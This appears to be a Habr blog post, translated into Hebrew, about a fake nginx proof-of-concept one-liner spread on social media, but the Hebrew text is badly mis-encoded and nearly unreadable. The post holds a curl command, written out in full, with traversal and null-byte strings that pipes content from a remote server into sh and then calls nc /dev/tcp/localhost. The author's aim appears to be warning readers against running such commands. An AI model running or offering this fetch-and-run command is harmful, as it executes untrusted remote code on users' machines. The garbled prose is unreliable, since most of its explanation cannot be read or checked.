ืืขืจื. ืชืจืืื:
TL;DR: ืื ืชืฉืชืืฉ ืืฆืื ืืจ ืงืืฆืื ื-sh ืื bash ืืฉืื ืืงืจื. ืืืื ืืจื ืืฆืืื ืช ืืืื ืฉืืืื ืขื ืืืืฉื ืฉืื.
ืื ื ืจืืฆื ืืฉืชืฃ ืืชืื ืืกืืคืืจ ืงืฆืจ ืขื ื ืืฆืื ืงืืื ืฉื PoC ืฉื ืืฆืจ ื-31 ืืืื. ืืื ืืืคืืข ืืืื ืืชืืืื ืืืืฉืืช ื
ืืืืจ ืฉืกืืืืชื ืืขืืื ืขื ืืื ืืงืช ืขืจืคืื ืืืฉื ืืกืืกืื, ืฆืืืืชื ืืช ืืฆืืืฅ ืืืงืืจื ื"ืืืืคืชื PoC ืขืืื" ืืืืจืืืช ืืฉืืจื ืืืช ืฉื ืงืื ืฉืื ืฆืืช ืืืืืื ืืช ืืคืืืขืืช ืฉืืชืืืชื. ืืืืื, ืื ืืืืชื ืฉืืืช ืืืืจื. ืื ืืชื ืฉืืื ืืืฉืืฃ, ืืืืงืจื ืืืื ืืงืื ืืื ืจืืืืืืืื (ื ื ืืื).
ืขื ืืืช, ืื ืืืืืชื ืืืืืื ืื ืงืจื ืืืจ ืื. ืืคืืคืืืจืืืช ืฉื ืืฆืืืฅ ืฉืื ืืื ืงื. ืืืืคื ืืคืชืืข, ืืจืืข (15:00 ืฉืขืื ืืืกืงืื, 1 ืืืื ื) ืืขืืื ืืืื ื ืฉืืืืืจ ืืืืืฃ. ืื ืฉืื ืจืืื ืืฆืืืฆืื ืืืชื ืืืืฉ ืืืื ืืืืืง ืืืชื ืืื (ืฉืื ืืืืจ ืขื ืืืชืคืขื ืืืจืคืืงืช ื-ASCII ืืืงืกืืื ืฉืืื ืืืฆืื).
ืจืง ืชืจืื ืืื ืื ืืคื!
ืืืจืืช ืฉืื ืืืืืืืช ืืืฆืืขืื ืืืื ื ืืืจืื, ืืจืืจ ืฉืื ืฉืื ืืื ืฆืจืืืื ืืืจืืฅ ืงืื ืขื ืืืืฉื ืฉืืื ืืื ืืจืืืช ืืืชื. ืืืจืื ืืืื, ืืคืืคื ืื ืคืืขืืื ืืืืชื ืฆืืจื, ืืืฉืืืื ืขื ืืขืืืื ืฉืื ืืืฉ ืจืฆืืชื ืืืกืชืื ืืืขืืืช ืืฉืคืืืืช, ืืงืื ืืงืืืจ ืืืชืจ ืฉืื ืืื ืจืง โโืืืฆืืข ืฉืืืืช ืื ืืืื ืื ืกืืช ืืืชืงืื ืื ืืืคืขืื ืงืื ื ืืกืฃ.
ืกืืืื ืงืื ื:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
ืื ืืกื ืืืจืชืืช-ืืืงืืจืื ืืช (SEE) - ืืืชืจ ืืกืชื ืืืื
ืืืืืืช ืืืืืจืืช ืืื ืืืง ืืจืืื ืื ืืกืื ืื. ืื ื ืืืฉื ืฉืื ืื ืฉืืืืืื ืืืฆืืื ืฉืื. ืฉืืจืช ืืคืงืืื ืืจืืืช ืืืืจืืจ ืขื ืืืืื ืขื ืืื ืืคื ืื ื-"127.0.0.1" (ืืืืจื ืืืงืืื ืืืืืข). Localhost ื ืืฉื ืืืืืื ืืื ืชืื ืื ืื ืืขืืื ืืื ื ืืืฆืืื ืืืืืฉื ืฉืื.
ืืืืจืืช ืืืืชื ืืจืืื ื-SEE ืืืคืชื ืืฉื ื ืฉื ืื ืืกืื. ืืืืืื ืฉืงืื ืืืขื ืืื ืืขืืงืจ ืื ืฉืื ืฉืืืืจืื ืืช ืืกืืืืช ืืืืืช ืืืืฉื, ืืื ืืฉืื ืืืฆืืจ ืงืื ืื ืฉืืืงืื ืืื ื ืืืจืื ืืืืจืื ืืืืืจืื (ืืืื ืืืืืื). ืืฉืืืช ืืืื ืืื ืฉื ืืืฉืื ื ืืฆืื ืืฉื ืื ืืฉืืืืื ืืฆืืจื ืืืฆืืช ืืืคื ืืืืืื ืืช ืขืฆืื ืืืืฆืืืช ืืืื.
ืืืื ื ืืชืื ืืคืืจื ืฉื ื-one-liner. ืื ืืืจ ืืจืฉืืื ืืื ื ืฉืืง ืืืคื ืงืืกืืื, ืืืืขืฉื ืฉืื ืืืจ ืื ื ืืจืฉ ืืืคืขืืชื ืืคืืขื.
ืืืื ืจืืืืื ืืืืช ื ืืืฆืื? ืึถื -gsS
, -O 0x0238f06a
, |sh
ืืฉืจืช ืืืื ืืจื ื ืขืฆืื. ืฉืจืช ืืืื ืืจื ื ืื ืืืื ืืืจืืืช ืืืื ืืืช, ืืื ืคืฉืื ืืืืฉ ืืจืคืืงืช ASCII ืืืืฆืขืืช ืคืงืืืืช echo
ืืชืกืจืื ืืืืื ื index.html
. ืืืฉืจ ืืืฉืชืืฉ ื ืื ืก ืืฉืืจื ืขื |sh
ืืืืฆืข, index.html
ื ืืขื ืืืืืฆืข. ืืืจืื ืืืื, ืืืคืืืจืืคืืกืื ืฉื ืฉืจืช ืืืื ืืจื ื ืื ืืื ืืืื ืืช ืจืขืืช.
-
../../../%00
- ืืืืฆื ืืขืืจ ืืกืคืจืืื; -
ngx_stream_module.so
- ื ืชืื ืืืืืื NGINX ืืงืจืื; -
/bin/sh%00<'protocol:TCP'
- ืื ืื ื ืืืืืื ืืฉืืงืื/bin/sh
ืขื ืืืื ืช ืืืขื ืืืืคื ืืช ืืช ืืคืื ืืขืจืืฅ TCP; -
-O 0x0238f06a#PLToffset
- ืืจืืื ืกืืื, ืืชืืกืคืช#PLToffset
, ืืืืจืืืช ืืื ืงืืืื ืืืืจืื ืืืืื ืืืืฉืื ื-PLT; -
|sh;
- ืขืื ืงืืข ืืฉืื. ืืืื ื ืฆืจืืืื ืืืคื ืืช ืืช ืืคืื ื-sh/bash ืืื ืืืคืขืื ืืช ืืงืื ืฉืืืืข ืืฉืจืช ืืืื ืืจื ื ืืชืืงืฃ ืฉื ืืฆื ืืืชืืืช0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- ืืื ืฉืื ืืชืืืืก netcat/dev/tcp/localhost
ืืื ืฉืืื ืืืจืื ืืืื ืฉืื. ืืืขืฉื, ืื ืื ืขืืฉื ืืืื ืื ืืื ืืฉืืจื ืืืืคื.
ืืื ืืกืชืืื ืืคืขื ืื ืฉื ืืชืกืจืื ืืขื ืืฉืืจื ืืืืช ืืืืืื ืืืืืืื ืฉื "ืื ืืกื ืืืจืชืืช-ืืืงืืจืื ืืช" (ืืืื ืืกืืื).
ืชืฆืืจืช ืฉืจืช ืืื ืืจื ื ืืืืฆืขื ื ืื
ืืืืืื ืฉืืจืื ืืืืจืืข ืฉื ืืื ืืืื ืฉืื ืื infosec/ืืืงืจืื, ืืืืืชื ืืืคืื ืืช ืฉืจืช ืืืื ืืจื ื ืืงืฆืช ืืืชืจ ืขืืื ืืคื ื ืืืืืื "ืขื ืืื" ืืฆืืื, ืจืง ืืื ืฉืืืื ืืืืจ'ื ืื ืืขืฉืืช (ืืืืื ืืืฃ ืืขืฉืืช ืืืืื). ืื ื ืื ืืชืืืื ืืคืจื ืืช ืื ืืืืืืืืช ืืื ืืืืืื ืฉืื ืืกืื ืขืืืื ื ืืฉื, ืืื ืื ื ืืื ืืืจืื ืฉืืฉืจืช ืขืืฉื:
- ืขืืงื ืืืืคื ืคืขืื ืืืจ ื ืืกืืื ืืช ืืคืฆื ืืจืฉืชืืช ืืืจืชืืืช ืืกืืืืืช ืืืืืืฃ ืชืืื ืืช ืืืืืขืจืืช ืืงืืืืืช ืฉืื ืืช ืืื ืืขืืื ืืช ืืืฉืชืืฉ ืืืืืฅ ืขื ืืงืืฉืืจ.
- ืืคื ื ืืืืฉ ืืช Chrome/Mozilla/Safari/ืืื' ืืกืจืืื ืืงืืืื ืฉื Thugcrowd ืืืงืื ืืืฆืื ืืช ืกืงืจืืคื ืืืขืืคืช.
- ืฆืืคื ืืกืืื ืื ืืจืืจืื ืฉื ืืืืจื/ืคืจืืฆื ืืืื, ืืื ืืชืืื ืืืคื ืืช ืืงืฉืืช ืืฉืจืชื NSA (ืื!).
- ืืชืงืื ืืจืืืื ื, ืืื ืื rootkit BIOS, ืืื ืืืืฉืืื ืฉืืืฉืชืืฉืื ืฉืืื ืืืงืจืื ืืช ืืืืจื ืืืคืืคื ืจืืื (ืกืชื!).
ืืืง ืงืื ืืืื ืืืืจ
ืืืงืจื ืืื, ืืืืจื ืืืืืื ืฉืื ืืืืชื ืืฉืืื ืืืื ืืืชืืื ืืช ืฉื Apache - ืืคืจื, ืืืืืื ืืืื ืืืื ืืืคื ืืืช ืืงืฉืืช - ืืืฉืืชื: ืืื ืื?
ื ืืฆืื NGINX (ืืืืชื!)
ืืืจืฉื ื-
ืืงืืจ: www.habr.com